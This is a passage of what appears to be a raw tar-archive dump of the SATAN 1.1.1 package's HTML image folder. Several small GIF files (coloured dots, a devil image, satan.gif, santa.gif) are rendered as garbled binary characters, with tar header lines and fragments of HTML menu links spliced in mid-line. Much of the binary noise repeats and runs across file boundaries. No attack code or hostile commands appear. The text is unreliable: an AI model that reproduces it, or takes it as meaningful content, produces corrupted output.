  7448. .................................................................................................................................................................................................................................................................
  7449. ..................satan-1.1.1/html/dots/blackdot.gif..................................................................   600 .   465 .   506 .        162  5731343036  12043. ...................................................................................
  7450. .................................................................................................................................................................................................................................................................
  7451. ................GIF89a....┬........÷÷÷   ........................................................................................................................................................................................................................
  7452. !∙......,..........7x║▄.L.céxé.b╞ì.!v.3.E┴
  7453. .└lΓ┌║ïF▒@n▓|«/é₧..h.σ╣óπΦSB₧╨E..;.l..τ╝....dot.gif....Ç..τ╜....eyeball.gif....ÿ..τ╛....greendot.gif...╗...░..τ┐...
  7454. orangedot.gif..v...╚..τ└....orig.devil.gif.v...▄..τ┴....pinkdot.gif....⌠..τ┬...
  7455. purpledot.gif.ov......τ├...
  7456. reddot.gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7457. yellowdot.gif...ATAN?</A>
  7458. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7459. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7460. </Osatan-1.1.1/html/dots/bluedot.gif...................................................................   600 .   465 .   506 .        234  5731343036  11716. ..................................................................................................
  7461. .................................................................................................................................................................................................................................................................
  7462. .GIF89a....π..rl╔JJ¢..é.....ZΣ┼╪..═..Σ...........................................................................................................................................................................................................................
  7463. ....╬:8╫..╓..J....║!∙......,..........I0╔I½╜.,Ñ.╕Ç1îç±e"▓ %sJ╦Ç..b<îC)≥¬α.┬ε@╝1é┬╔Γ┴...║.ÇA.8₧ì@.@Φ6╛Z.αJpΣ1Φ⌠$..;..τ└....orig.devil.gif.f...▄..τ┴....pinkdot.gif....⌠..τ┬...
  7464. purpledot.gif.ev......τ├...
  7465. reddot.gif.k... ..τ─....whitedot.gif.edo......τ┼...
  7466. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7467. yellowdot.gif...ATAN?</A>
  7468. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7469. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7470. </Osatan-1.1.1/html/dots/browndot.gif..................................................................   600 .   465 .   506 .        167  5731343036  12123. ..................................................................................................
  7471. .................................................................................................................................................................................................................................................................
  7472. .GIF89a....┬..[..僃ÆÉ┼╢.L\>B∩%12╧H┐┐┐!∙......,..........<x║▄.0.Q.)Γ.├à.Aπ.E∙
  7473. ┘RÉ╩J..CP&1.ÇL.╗ìτ*╦α≤.*.░".╡.(a.Σ┼)⌐Z%..;ot.gif..░...╚..τ└....orig.devil.gif.╚...▄..τ┴....pinkdot.gif....⌠..τ┬...
  7474. purpledot.gif..⌠......τ├...
  7475. reddot.gif.v... ..τ─....whitedot.gif... ......τ┼...
  7476. yellowdot.gif.....τ┼...
  7477. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7478. yellowdot.gif...ATAN?</A>
  7479. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7480. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7481. </Osatan-1.1.1/html/dots/dot.gif.......................................................................   600 .   465 .   506 .        177  5731343036  11054. ..................................................................................................
  7482. .................................................................................................................................................................................................................................................................
  7483. .GIF87a....┬..¥o~..w╦Γ═├╪─
  7484. .═º╛⌐â╓à░┼,..........Lx║7≥≡▒σ"£jh.' D`l▄.Çh..à╢Ç┴.ï∞á|⌐.│┼¥╟1ÇüσC.üσaQçL÷n╟cRy..Ç┬)qa═Nç-┼╫┘▓yx╝M..;░...▄..τ┴....pinkdot.gif....⌠..τ┬...
  7485. purpledot.gif.f.......τ├...
  7486. reddot.gif.i... ..τ─....whitedot.gif.f.v......τ┼...
  7487. yellowdot.gif.. ......τ┼...
  7488. yellowdot.gif.....τ┼...
  7489. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7490. yellowdot.gif...ATAN?</A>
  7491. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7492. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7493. </Osatan-1.1.1/html/dots/eyeball.gif...................................................................   600 .   465 .   506 .        321  5731343036  11672. ..................................................................................................
  7494. .................................................................................................................................................................................................................................................................
  7495. .GIF89a....Σ.....ssskkkccc▐▐▐╞╞╞£££÷÷÷ΣΣΣZZZ.....................................................................................................................................................................................................................
  7496. .GIF89a....Σ.....ssskkkccc▐▐▐╞╞╞£££÷÷÷ΣΣΣZZZ.....................................................................................................................................................................................................................
  7497. .GIF89a....Σ.....ssskkkccc▐▐▐╞╞╞£££÷÷÷ΣΣΣZZZ.....................................................................................................................................................................................................................
  7498. JJJ∩∩∩τττ╧╧╧╜╜╜..ssskkkccc▐▐▐╞╞╞£££÷÷÷ΣΣΣZZZ.....................................................................................................................................................................................................................
  7499. .............................................!∙......,..........Ná#─dI..èÜ*બ"3┼*¬▓▄.σ¥µ
  7500. .Σq@¼\9ê.éH┤.ΣFC.Ç.£7└cKà,.6└┴P...«ô@É8ú}╖@".σ┼^iô₧...;.τ─......τ┼...
  7501. yellowdot.gif.τ┼...
  7502. yellowdot.gif.. ......τ┼...
  7503. yellowdot.gif.....τ┼...
  7504. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7505. yellowdot.gif...ATAN?</A>
  7506. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7507. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7508. </Osatan-1.1.1/html/dots/greendot.gif..................................................................   600 .   465 .   506 .        233  5731343036  12066. ..................................................................................................
  7509. .................................................................................................................................................................................................................................................................
  7510. .GIF89a....π......╓. ê/.⌡..J.....................................................................................................................................................................................................................................
  7511. &.Z..Σ.
  7512. ╬%.├..┘.}╙à.m.H╬Z ╓. ê/.⌡..J.....................................................................................................................................................................................................................................
  7513. <...!∙......,..........H.╚I½╜t5Σ┌║ïRîC≥ebß.epJ═╕,─Æ..àî─â▄.âN1P╪p.ßñæh.É.Fµëc..ΣFe┴░b..É╒└╨b╬hJ..;gif.┬... ..τ─....whitedot.gif... ......τ┼...
  7514. yellowdot.gif.....τ┼...
  7515. yellowdot.gif.τ┼...
  7516. yellowdot.gif.. ......τ┼...
  7517. yellowdot.gif.....τ┼...
  7518. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7519. yellowdot.gif...ATAN?</A>
  7520. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7521. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7522. </Osatan-1.1.1/html/dots/orangedot.gif.................................................................   600 .   465 .   506 .        231  5731343036  12237. ..................................................................................................
  7523. .................................................................................................................................................................................................................................................................
  7524. .GIF89a....π..╕h.╔t.Z4.█¼q╬─6âK..─.σ╓5ïe1m@.▌..ÿ................................................................................................................................................................................................................
  7525. òV.J*....!∙......,..........FÉ╔I½╜tÉ.╚╕âbîF≡eü▒.ï.4ºD¿├╨.MAÑδ¥.;à0Ç+.Ç..`Y.8.╓σ┤Ép:.òAóΩΦb-┌cΓï)¢'..;gif.f.┬......τ┼...
  7526. yellowdot.gif.. ......τ┼...
  7527. yellowdot.gif.....τ┼...
  7528. yellowdot.gif.τ┼...
  7529. yellowdot.gif.. ......τ┼...
  7530. yellowdot.gif.....τ┼...
  7531. yellowdot.gif..gif.a... ..τ─....whitedot.gif.ata......τ┼...
  7532. yellowdot.gif...ATAN?</A>
  7533. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7534. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7535. </Osatan-1.1.1/html/dots/orig.devil.gif................................................................   600 .   465 .   506 .       3240  5731343036  12342. ..................................................................................................
  7536. .................................................................................................................................................................................................................................................................
  7537. .GIF87aD.t.≥../..∙ìîσ..º..j..≤@:═
  7538. .┐┐┐,....D.t....x║▄.0╩I½╜8k.@╪`╚t. ₧....±íA!.Φ╙╡╞░óφ@╨╡Fg`(╢^í└`≡A..+â@É..N.┴∩)..º.k└ë∙à╔╧..╝tan.é....èRc╣ñ╓╓╕#j_go+rvtA*DRS.W.vr>%ÇüYâ.É..K₧@û
  7539. %wâ9¢..ôÆí$KxKë.?₧>?▓0úÿU4╕
  7540. C»÷╛╣ñys.+.>╢úí.ú─░º..9Æ*n╬⌐─î,.$wƒúò╬ú.TDm▓|Θç+%├I╔T░┘6ú╓?║± ╨╤∙.°.≥dhç╢.N.┴∩)..º.k└ë∙à╔╧..╝tan.é....èRc╣ñ╓╓╕#j_go+rvtA*DRS.W.vr>%ÇüYâ.É..K₧@û
  7541. ≡╚.G+▀-gP.~æ.P.¡O*<┤B8.Ñ@─".-╓jc'÷╣─EûLc└º╧.tê6f╤$├SHCv.æ.┼┼.╜O...Li½. l╤j∙╩Θ⌐
  7542. Fì52▓HWk╦Σ£ôF┌Γ)Bd╒c¿.m╒╩$¬E¼1'£%9Æ£.8=û.ΓJM╫╓¼U.n.S"╪╬ç╚╬Γm÷Æ_.⌐2÷9╡π÷¢αï/ºX┘█⌐àΓ÷½Γ╡─ym...σ.░H.&╠]{─.Ωôñ╙OΦ.1.ƒâige╨w┼!/Y1σ┬ÿT▒=Jªe⌡é╨k
  7543. ¥≥æ U¬ò┘╢└^h╣║≤D-P∩Θ2ñ╔ÿ8║j╖.ªB/πmï.╣UE]ü║╘╛x≥┴{ ^Mi╙φ⌠NW=εb..w.ÿP@.44ç.y╝P┬^.$α&₧gN)(PAr.╞êC¢i@▌f∞4eì.╩Σ╚┌9.▌╒╥k░q8─H┤╔æÿàV.│╪*ìYáΓè.Iæ.-▓╤$¢Nÿ╤êbâ+b#V#.yÆXl1─ÉG|╓ù.ç·Pê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿h
  7544. pl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7545. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7546. ╔½ü.j─`╟∞5╩╥-@&╥.v
  7547. v8&O(ê¢▐╨g.╣╚Ñφuw C∞┘─7═┼░8~sΦ░╩TπúI.yδìô{E.╨╓╕@4╣;5╩IΓó4uyUë╢╘x║[▌╓îz«6q.╫m⌠.╓╢ôpú(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7548. ┘µ╢╧ƒ│.Σ¼╘!║&.|^╫╢.╝o(.ÿ.┐╫Iµ▒.O"╤Æb¡╞Φ┼é┘╞i.∙.▄í┴.Ñ·áì█ò.é┴LbφÇ║zy(Qô∙╞.┌ôΦ╚)¬╓╢Kú(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7549. 9╡FúB<ò.╘!≡⌠kÆ¢╪Σ⌐─░σ`>(.└é╓.N∙«{HRVg«σ.KE¼B┼╗╓oh╙(e.φ.q¬á]÷u╖.óo{╡ë ≈.─ç╫╠.JCï┼┼Σ.σLE╨Çêk╞ÿ╩⌡.╓4àWDü.i╬A─Üî.E..[;▓≥.┌æñ.╦Γòæ2ñ."AΦ.?≡B..¿σ
  7550. -rδQB<ò.╘!≡⌠kÆ¢╪Σ⌐─░σ`>(.└é╓.N∙«{HRVg«σ.KE¼B┼╗╓oh╙(e.φ.q¬á]÷u╖.óo{╡ë ≈.─ç╫╠.JCï┼┼Σ.σLE╨Çêk╞ÿ╩⌡.╓4àWDü.i╬A─Üî.E..[;▓≥.┌æñ.╦Γòæ2ñ."AΦ.?≡B..¿σ
  7551. BΓ█B7┴'µ¼.UPF..╥¢
  7552. Lφtû.Y°╬╢┐\dMgIc]╠Ç.-y<frkâû.àQâ;µNpax.╒j «)┬ïZ.δ█YZXH.┤Σ*xΦ.dDg8ëQσ3╕ë_y╝.,Ωy.ë,ëΣ._1╩ü].G.:A*6┘.Vzδr.Bσ3ªW>º¡▒Lsúó<«≈$.q
  7553. -ß..%AÉ
  7554. ╧,.σÇ4.Ç^'╚.÷`O╧¼╟..&╖E@Kù⌐`_i.G╩.B≥[R*D*<ÆÑFIH─..ß½û)B╓▒l
  7555. _αX7aσ..)≡Ü,#EiHêK.Æ╦0dzDσD9.╣⌡'₧st.¥q£V₧£|ßâóB╬_PvPπ≡Ñ!┐î▀nµ&Ròx╚lbT%g.╖╧bP┴MÆY#*
  7556. )I..Ç÷⌠è╠áeM.ßLÆó..?∩└.0.î╓»\`fñE│µ|ôæ>▌Aó╘ΣÇJA▓^OH.3│&*ê.│kα9@...;system_requirements.html#Hardware">Platform</A>
  7557. <LI><A HREF="system_requirements.html#diskspace">Disk space</A>
  7558. <LI><A HREF="system_requirements.html#memory">Memory</A>
  7559. <LI><A HREF="system_requirements.html#other-requirements">Required software tools</A>
  7560. </OL>
  7561.  
  7562. <p>
  7563. <LI><A HREF="dangers.html"><STRONG>Dangers of SATAN</STRONG></A>
  7564. <OL>
  7565. <LI><A HREF="dasatan-1.1.1/html/dots/pinkdot.gif...................................................................   600 .   465 .   506 .        166  5731343037  11735. ......................................................................................
  7566. .................................................................................................................................................................................................................................................................
  7567. .............GIF89a....┬..≤.╟╚Æ┐σ.n├.áù.üR.C∞.╞┐┐┐!∙......,..........;x║▄.,ÿ1LxaÇ
  7568. ╞ì.`lâ≡)#.H÷ 0í1òB.smm/s^.»E└E...ìÇ╤êt.é&dJ]$..;llowdot.gif..ibâ+b#V#.yÆXl1─ÉG|╓ù.ç·Pê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿hpl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7569. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7570. ╔½ü.j─`╟∞5╩╥-@&╥.vsatan-1.1.1/html/dots/purpledot.gif.................................................................   600 .   465 .   506 .        231  5731343037  12274. ...................................................................................
  7571. .................................................................................................................................................................................................................................................................
  7572. ................GIF89a....π..─ëß`.ëï.├£.▌▒.°╛╛╛ùD╝4.J«p╚.╕J.ip.¢x.ª».·@.Z...!∙......,..........F░╚I½╜..!.║╚╨îì≡eBC¼â░£Æí..1$K@ѽì.─▌`(°)é.Cb∙s..╓à4áP..σ
  7573. óΩ╝2@Gç"ï)¢)..;ç·Pê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿hpl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7574. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7575. ╔½ü.j─`╟∞5╩╥-@&╥.vsatan-1.1.1/html/dots/reddot.gif....................................................................   600 .   465 .   506 .        234  5731343037  11542. ...................................................................................
  7576. .................................................................................................................................................................................................................................................................
  7577. ................GIF89a....π.....Ü..Θ.Zw.1J..└>d£.)╣.5b..Z..÷.K≈.L┐hü╓.?Γë╖Ç."!∙......,..........I.╚I½╜÷ò╓
  7578. ╗L│î╩±eó"(═a£R▒(─├.┴@Ñé╨.┼──├q=.┬Iß└4".║.#`.<─.Bí┬@ │P╨ æ.l1Φ4%..;ê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿hpl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7579. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7580. ╔½ü.j─`╟∞5╩╥-@&╥.vsatan-1.1.1/html/dots/whitedot.gif..................................................................   600 .   465 .   506 .        230  5731343037  12104. ...................................................................................
  7581. .................................................................................................................................................................................................................................................................
  7582. ................GIF89a....π.....▒▒▒sssggg▐▐▐╓╓╓╬╬╬╞╞╞£££ÆÆÆΣΣΣZZZ................................................................................................................................................................................................
  7583. ................GIF89a....π.....▒▒▒sssggg▐▐▐╓╓╓╬╬╬╞╞╞£££ÆÆÆΣΣΣZZZ................................................................................................................................................................................................
  7584. ................GIF89a....π.....▒▒▒sssggg▐▐▐╓╓╓╬╬╬╞╞╞£££ÆÆÆΣΣΣZZZ................................................................................................................................................................................................
  7585. JJJΘΘΘ╜╜╜!∙......,..........E.╚I½╜⌠ÿm╬5.#:ZÑëπüxôüè┼ô(÷ï╞ê▓╘ΣC.ü▄`╫z.â║σ ô@╠.âF.Q1.σ╥FΓr.,..*fLªD..;%..;ê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿hpl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7586. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7587. ╔½ü.j─`╟∞5╩╥-@&╥.vsatan-1.1.1/html/dots/yellowdot.gif.................................................................   600 .   465 .   506 .        232  5731343037  12301. ...................................................................................
  7588. .................................................................................................................................................................................................................................................................
  7589. ................GIF89a....π......................................................................................................................................................................................................................................
  7590. .Çü.°÷2IJ.╣╝.╦╬M.IF89a....π......................................................................................................................................................................................................................................
  7591. .╬╥.ßα.╟╟vjl.Æù.WY.╩╦
  7592. ££J!∙......,..........G.╚I½╜T.τî║
  7593. rîç≤eb0.ë├£Æq.è. «@9≤è3é╞.æ@ 
  7594. └σp▓ß0ÆΣEµ.\4.ΣGE▒░b│ kcí┼ÿ╧÷..;.;ê.MU.±█û2tD":raô.æ½0F╦g▓m9╞ï`╚..Fb.╖.64╩±┘sMrΘQù$µü▀_░╔⌐Z÷╧╤≤ê.j2.├gì.j└.-Φ.H.D║º╒Æê.¿hpl^yτiτ▌hQ|K.▓µÜÜ╞╓&#m*â\q
  7595. tHÑ@»<▓%lzj┌eG≈φ¬.V┘uí╩£┤µæjoº╩.╓#Mm.─.%¼─┌.ì╘æw,ù┼X╦¼ù╠~ΦRFt4╪YF9┌:âeK.║╙.|╞α qΣj7(.ΣFaε5Z╞╢U.⌠ Z/g·╨AÑ.╪..Qtî..Θ(V<ùñèî╒╕└┐.µ@.ÉY┌ƪ½╪╠.Θú.»û.╓.3â╨.σ*C½¢;.è╧┐─.`█£Z9ºô╓.Ü⌐èæ0╗.X.┤zHg¡~êJ≤╛=½╞#.⌡▓&┼XO.=gòR╗ñ.╨JW8╓\I▀╕Z╒}`6
  7596. ╔½ü.j─`╟∞5╩╥-@&╥.vsatan-1.1.1/html/images/............................................................................   700 .   465 .   506 .          0  5742521541  10020. ...................................................................................
  7597. .................................................................................................................................................................................................................................................................
  7598. ................satan-1.1.1/html/images/satan.gif...................................................................   600 .   465 .   506 .       2713  5731373361  11712. .....................................................................................
  7599. .................................................................................................................................................................................................................................................................
  7600. ..............GIF89ax.æ.≡........................................................................................................................................................................................................................................
  7601. ..............GIF89ax.æ.≡........................................................................................................................................................................................................................................
  7602. ..............GIF89ax.æ.≡........................................................................................................................................................................................................................................
  7603. !∙......,....x.æ....î┼⌐╦φ.#.@┌ï│╞t..σK'σUëN⌐x««A╛≥¼┼4▌▐è¡≈>£..q┴aΩT£±î╟ñÆyú8.╦╔.èÆ.*╫φ╢╒¡b]Rn╪"^uK╙N┘╝[iv¼|x╗╡└╟=┬╖.Hvº≈e÷v8ÿù┤ÿù┼│TçÇd.ÿ¿gHIσΦÑf.─E.¬êhê╓.D"┘∙(ú%Θ┘╫ù⌐iZ.σW*╖&τP$*½.è[X╝ùyQ7╔.ú8Z.]<|£╩!╞,ß6τòè╠çù,..^│╪¬∞I^₧s[╜j¡╗½<ê~=:.<▄.¡9ƒoJ.╕l.raó&*╪▒]
  7604. ╡╕╔K░N.╓M╬P9c°naF.V¿£°j└Q╫)w±D"ôxê.D\£L.▄8╟█ÑS.╫╡ïπ..¢ï.Q╥£Y⌐!╦÷<k─╕iB.¼gÑ..¼∙─i╗d╨t&eD5*╞─Bà≥│σrVûÿYYn∞.∩ñS¬î¬~┬jδ¼▄┤êd
  7605. =≈1.┌æß÷~.Φ.ε╚8Q╢.4.°/▌~σ±· )oεS▓╙l.\I'ú╤╞|╟∙}╚M.Σm0âJ╢.┌.─╞PA-..┌ƒΩ╟╙87φΩ╣6h&úæ┤6{+el╓y_°^H½/δ┴£δR4B29.úª½)m║╢°]z░ì▒┼èQ¥⌡£ΘÜk⌠.RΓΘ╙E╟┤à≈∩8j⌠δ¥{.
  7606. He@╥S.m▓.
  7607. Th ⌠6ùyDì≤┼a..╢╔nƒΣª╤Qçu..iß.c\}..8\\╓╣▓ZOµ.ÿôV
  7608. ε░.r.f┼┼x.ß'.ΣÑ}hWëüë╒├èπ⌡e╦m.ε÷Q^wIû]=
  7609. I⌡[{Jéñcô\uwÉl─aêÉ
  7610. 3j(óR╡ìXα}DjfYæ[⌡Σ !NéùσæHè⌡SqzΘ╓]Q.Γ╞_.Y╛Θee╒ß╞!ïÜ.(╨5ê¥'ùTN¬Θ.A┐.╩(P.mëµsozh█áXF·òÿÇZ┼]ú:bºΓúëZQººδmσ¥S│É.Γó;┬X▀¬ƒ⌐ñ▐l..▓.ùá┤⌡òr÷=
  7611. g╓úΓjQí&┼w..Ç.╪z.▒ì┬╒'p┐╬D╘=£.╩ak╦φ).d÷.B_▓$.FΦƒQ.δ¬Y╜┬Ü▐╣ª*╞,è╤"Zk£{ΩâVÜ└╞╦){
  7612. Ü.út█φ.¡ó..U╤|█h┘ÑΣΩ~+ ╜Θ╬yñG2ª:/╖£&8⌐╕≥┴A╬║Ω≈"░.¡r≡è║ó.#┼un╠∩╩.*Xà]µ.≤╡∩╥╔3╢▌^V.├.₧┌.T..|`«αε|Ω^L.L.│mα÷ñ⌐}▓∙Ωª,@╔Φríy│.zjLδi═3C╩#╒K7)▌3≈·.≡÷¥ªµ│V]K|Nσ2≤E6û╚àÑ─╕6∩.,½+╣IO╞αò¥»/9ú!8╙.é.EΩ+π.n∞ƒ─.G▓µƒ6lEα∞▒=dòcH.jeU.lµôgδ.▒╕:▒~─▐.G.7─º╟è{Σσ╗'⌠kéa.Φw└.«.[|.
  7613. ë<φó│¡α▀L>.`∩+█µ,ΓvΣ⌠╢sε*..║¡╖!%█é.╗╬┌w<q·°Ln╝│Q╠f"w>µL9$A.▌*âJ.║>W.≡u.#à█─7╜.¬¡cD._. º@╖ÿâÇ▒ΩV₧"¿5...L.[...x┴█m.T.╗á÷£╫,│ì.y.q.
  7614. !é╣«.î,-─ôKb.6ª▌gRoy─Ñ`ê//.è.╒*.»─╕@!6âsÑb▐.2ÿ8╚=.}Gδìº├.ñ..RA.5╥.ò|â┼(╛éï═â.╒,í..═┼J0d#ô¬e─.A╦r`....X?└ìm:M@┘╥.8┼%.Σ.Tc ═╘?1foì/▄óñ2Σ>.A1qH!B#╙ê).┌eç╕:.⌡*y╝!╪*.m.%o«P&-Üré8Qσ*{ÿIy╜.
  7615. ≡╔╧,í.╔[║g h╨σ)'ΘKαò0ÿ─t%1╟x╠`.3╓░4e...;AÉ
  7616. ╧,.σÇ4.Ç^'╚.÷`O╧¼╟..&╖E@Kù⌐`_i.G╩.B≥[R*D*<ÆÑFIH─..satan-1.1.1/html/images/santa.gif...................................................................   600 .   465 .   506 .      11741  5731343040  11722. ...................................................
  7617. .................................................................................................................................................................................................................................................................
  7618. ................................................GIF89ay.p.≈..........................!..............)..............9.....!..!..J..R..!....!...!..!..)..Z...!!.!))!.!!!!!))!.s..1!.)!!1!.!))Σ..!)11).)))î..1)!9).!11÷..£..B).91!111119Ñ..B1.¡..B1!£..B1)19919BÑ..9
  7619. 91B9)999£..B99J9!J9)Ñ..J91R9)9BB9BJBB9BBBÑ..9JJRB1RB)ZB1BJJÑ!!JJRJJJRJB¡!!ZJ1î11ZJ9cJ)BRRÑ))cJ9¡))RRJRRZRRRÑ11ZRJkR1kR9RZZkRB╡11Ñ99ZZZkZ9kZBRcckZJsZ9sZB╡99Zcc{ZB{ZJ¡BBcccRkkcckscR╜BB¡JJkkskkk¡RRΣkJcssΣkRΣkZîkR╜RR¡ZZss{sss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7620. {Σî÷{{ΣΣΣ╞kk╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
  7621. ╞÷╬╓╓≈╬£╓╓╓k╡ss£ΣcΣîîÑΣZÑΣc╡{{îîîîî÷¡Σc╬ssΣ÷÷¡îk╡ΣΣ╬{{÷÷÷÷÷£╡îk╡÷c╡÷k╜îî╬ΣΣ╡÷s£££££Ñ╞îî╜÷÷╜£s╓îî╡££╞£{╞£sÑÑÑÑÑ¡╓÷÷Ñ¡¡╜ÑÑ╬Ñ{¡¡¡╓Ñ{Ñ╡╡╜¡¡╬¡Σ╓¡{╓¡Σ╞¡¡╡╡╜╡╡╡▐ÑÑ▐¡Σ¡╜╜▐╡Σ▐╡î╜╜╜╜╜╞τ╡î╡╞╞τ╜î╞╞╬├├├∩╜î∩╜÷╜╬╬τ╜╜≈╜÷╞╬╬∩╞÷╬╬╬≈╞÷≈╞£ss╡ZZîsRk{{÷sR£kk÷sZ{{s╡cc{{{÷{Z÷{c╡kk
